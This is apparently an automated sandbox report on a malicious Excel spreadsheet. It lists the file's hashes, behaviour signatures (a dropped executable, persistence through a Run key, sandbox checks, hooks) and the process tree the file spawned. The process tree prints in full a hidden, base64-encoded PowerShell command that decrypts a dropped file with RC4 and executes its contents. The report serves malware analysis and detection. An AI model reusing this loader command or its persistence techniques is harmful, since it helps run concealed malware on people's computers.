Analysis
- max time kernel
146s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
10/04/2024, 15:04
General
- Target fb2a9dcfcf41c493fb7348ff867bb3cad9962a04c9dfd5b1afa115f7ff737346.xls
- Size 7.8MB
- Sample240410-sf2wlafd2v
- SHA256 fb2a9dcfcf41c493fb7348ff867bb3cad9962a04c9dfd5b1afa115f7ff737346
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fb2a9dcfcf41c493fb7348ff867bb3cad9962a04c9dfd5b1afa115f7ff737346.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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C:\Users\Admin\AppData\Local\Temp\baseupd.exe"C:\Users\Admin\AppData\Local\Temp\baseupd.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -version 2 -w hidden -nopro -enc JABBADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAG8AWQBVAHUAUQBiAFgAdQAiACkAOwAKACQAQgAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACIAcwBLAE8ASQBHAEwAbABhAEgAVwB5AFEATgBMAGkAVgAiACkAOwAKACQAQQA9AHsAJABXACwAJABZAD0AJABBAHIAZwBzADsAJABYAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAFoAPQAoACQAWgArACQAWABbACQAXwBdACsAJABZAFsAJABfACUAJABZAC4ATABlAG4AZwB0AGgAXQApACUAMgA1ADYAOwAkAFgAWwAkAF8AXQAsACQAWABbACQAWgBdAD0AJABYAFsAJABaAF0ALAAkAFgAWwAkAF8AXQB9ADsAJABXAHwAJQB7ACQAVQA9ACgAJABVACsAMQApACUAMgA1ADYAOwAkAFYAPQAoACQAVgArACQAWABbACQAVQBdACkAJQAyADUANgA7ACQAWABbACQAVQBdACwAJABYAFsAJABWAF0APQAkAFgAWwAkAFYAXQAsACQAWABbACQAVQBdADsAJABfAC0AYgB4AG8AcgAkAFgAWwAoACQAWABbACQAVQBdACsAJABYAFsAJABWAF0AKQAlADIANQA2AF0AfQB9ADsACgAkAEMAIAA9ACAAKAAmACAAJABBACAAJABBADEAIAAkAEIAMQApADsACgAkAEUAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAEMALAAwACwAJABDAC4ATABlAG4AZwB0AGgAKQA7AAoAJABFACAAPQAgACQARQAgAC0AUwBwAGwAaQB0ACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATgBlAHcATABpAG4AZQA7AAoAZgBvAHIAZQBhAGMAaAAoACQARQBFACAAaQBuACAAJABFACkAewBpAGUAeAAgACQAKAAkAEUARQArACIAOwAiACkAOwB9ADsA3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
oYUuQbXu
baseupd.exe
memory/2952-265-0x0000000000930000-0x0000000000940000-memory.dmp
memory/2952-263-0x0000000074600000-0x0000000074BB1000-memory.dmp
memory/2952-264-0x0000000000930000-0x0000000000940000-memory.dmp
memory/2952-262-0x0000000074600000-0x0000000074BB1000-memory.dmp
memory/4040-13-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-30-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-6-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-9-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-10-0x00007FFB606F0000-0x00007FFB60700000-memory.dmp
memory/4040-11-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-12-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-14-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-16-0x00007FFB606F0000-0x00007FFB60700000-memory.dmp
memory/4040-15-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-17-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-18-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-0-0x00007FFB63050000-0x00007FFB63060000-memory.dmp
memory/4040-19-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-20-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-8-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-37-0x000001D336BF0000-0x000001D336FF0000-memory.dmp
memory/4040-41-0x000001D33B7B0000-0x000001D33C780000-memory.dmp
memory/4040-7-0x00007FFB63050000-0x00007FFB63060000-memory.dmp
memory/4040-1-0x00007FFB63050000-0x00007FFB63060000-memory.dmp
memory/4040-255-0x00007FFB63050000-0x00007FFB63060000-memory.dmp
memory/4040-256-0x00007FFB63050000-0x00007FFB63060000-memory.dmp
memory/4040-257-0x00007FFB63050000-0x00007FFB63060000-memory.dmp
memory/4040-258-0x00007FFB63050000-0x00007FFB63060000-memory.dmp
memory/4040-259-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-3-0x00007FFB63050000-0x00007FFB63060000-memory.dmp
memory/4040-4-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4040-5-0x00007FFB63050000-0x00007FFB63060000-memory.dmp
memory/4040-2-0x00007FFBA2FD0000-0x00007FFBA31C5000-memory.dmp
memory/4544-261-0x0000000000400000-0x00000000005B7000-memory.dmp
memory/4544-251-0x0000000000400000-0x00000000005B7000-memory.dmp